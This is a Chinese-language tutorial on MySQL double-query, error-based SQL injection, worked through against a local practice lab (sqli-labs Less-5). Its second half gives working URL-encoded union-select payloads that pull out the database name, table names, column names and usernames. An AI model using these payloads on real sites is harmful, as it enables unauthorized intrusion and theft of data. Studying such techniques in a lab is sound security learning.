雙查詢注入
0x01愛之初了解
在第一次接觸到雙查詢注入時 肯定會有很多問題 在這里我們先了解一下什么叫做 雙查詢注入 他的語法結構 以及為什么這樣構造
答:在此之前,我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句里還有一個select。里面的這個select語句就是子查詢。
看一個簡單的例子:
Select concat((select database()));
真正執行的時候,先從子查詢進行。因此執行select database() 這個語句就會把當前的數據庫查出來,然后把結果傳入到concat函數。這個函數是用來連接的。比如 concat(‘a’,’b’)那結果就是ab了。
原理:
雙注入查詢需要理解四個函數/語句
1. Rand() //隨機函數
2. Floor() //取整函數
3. Count() //匯總函數
4. Group by clause //分組語句
簡單的一句話原理就是有研究人員發現,當在一個聚合函數,比如count函數后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。
以本地一個名為Security的數據庫為例進入數據庫
然后通過use security; 就可以切換到security數據庫了。因為一個服務器上可能有多個數據庫嘛。
然后我們執行一下前面那個簡單的子查詢的例子
就能顯示security,也就是顯示了當前數據庫的名字了。
然后我們測試一下concat的用法。輸入
select concat("string1","xxx")
顯然結果就是string1xxx了
然后我們測試一下rand()這個隨機函數是干嘛的 我們多執行一下
可以看到,這個函數就是返回大於0,小於1之間的數 然后看看取整函數
這個函數就是返回小於等於你輸入的數的整數。然后我們看看雙注入查詢中的一個簡單組合。
select floor(rand()*2);
我們從里向外看。rand() 返回大於0小於1的小數,乘以2之后就成了小於0小於2了。然后對結果進行取證。就只能是0或1了。也就是這個查詢的結果不是1,就是0 我們稍微加大一點難度。看這個查詢
select concat((select database()),floor(rand()*2));
不要怕。先看最里面的SELECT database() 這個就返回數據庫名,這里就是security了。然后FLOOR(RAND()*2)這個上面說過了。不是0,就是1.然后把這兩個的結果進行concat連接,那么結果不是security0就是security1了。
如果我們把這條語句后面加上from 一個表名。那么一般會返回security0或security1的一個集合。數目是由表本身有幾條結果決定的。比如一個管理表里有5個管理員。這個就會返回五條記錄,這里users表里有13個用戶,所以返回了13條
如果是從information_schema.schemata里,這個表里包含了mysql的所有數據庫名。這里本機有10個數據庫。所以會返回10個結果
現在我們准備加上Group By 語句了。
我們使用information_schema.tables 或 information_schema.columns者兩個表來查詢。因為表里面一般數據很多。容易生成很多的隨機值,不至於全部是security0,這樣就不能查詢出結果了。
select concat((select database()),floor(rand()*1000))as a from information_schema.schemata group by a;
這里我先解釋一下。
我們把concat((select database()), floor(rand()*1000)) 這個結果取了一個別名 a ,然后使用他進行分組。這樣相同的security0分到一組,security1分到一組。就剩下10個結果了。
意這里的database()可以替換成任何你想查的函數,比如version(), user(), datadir()或者其他的查詢。比如查表啊。查列啊。原理都是一樣的。
最后的亮點來了。。
我們輸入這條:注意多了一個聚合函數count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
重復的鍵值 可以看到security就是我們的查詢結果了
當然也可以查詢版本這些
select count(*),concat((select version()),floor(rand()*2))as a from information_schema.schemata group by a;
我們再來看下一個
select count(*), concat((select user()),floor(rand()*2))as a from information_schema.tables group by a;
0x02愛之初體驗
熟悉了結構和原理之后 我們嘗試一下可否爆出當前數據庫名稱 這里count(*)函數也可以當成是一個列 來填充null
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20database()),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
好像成功了耶 數據庫名稱有了
爆表名稱
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.schemata%20where%20table_schema=%27security%27),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
哦豁 結果多余一行 報錯了
那怎么辦吶? limit函數幫你解決 了解函數上鏈接
https://blog.csdn.net/u011277123/article/details/54844834
構造語句 就是有點麻煩得一個一個試出來
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
這里我們覺得users就要要查的列 繼續爆破 哈哈 有時候會卡錯 多刷新一下就行了
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%207,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
然后就是爆字段了
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
本次注入是因為他沒有顯示參數的值出來 所以我們先想到的是讓他在錯誤中體現出來 然后一步一步摸索
切記 學習之路 少就是多 慢就是快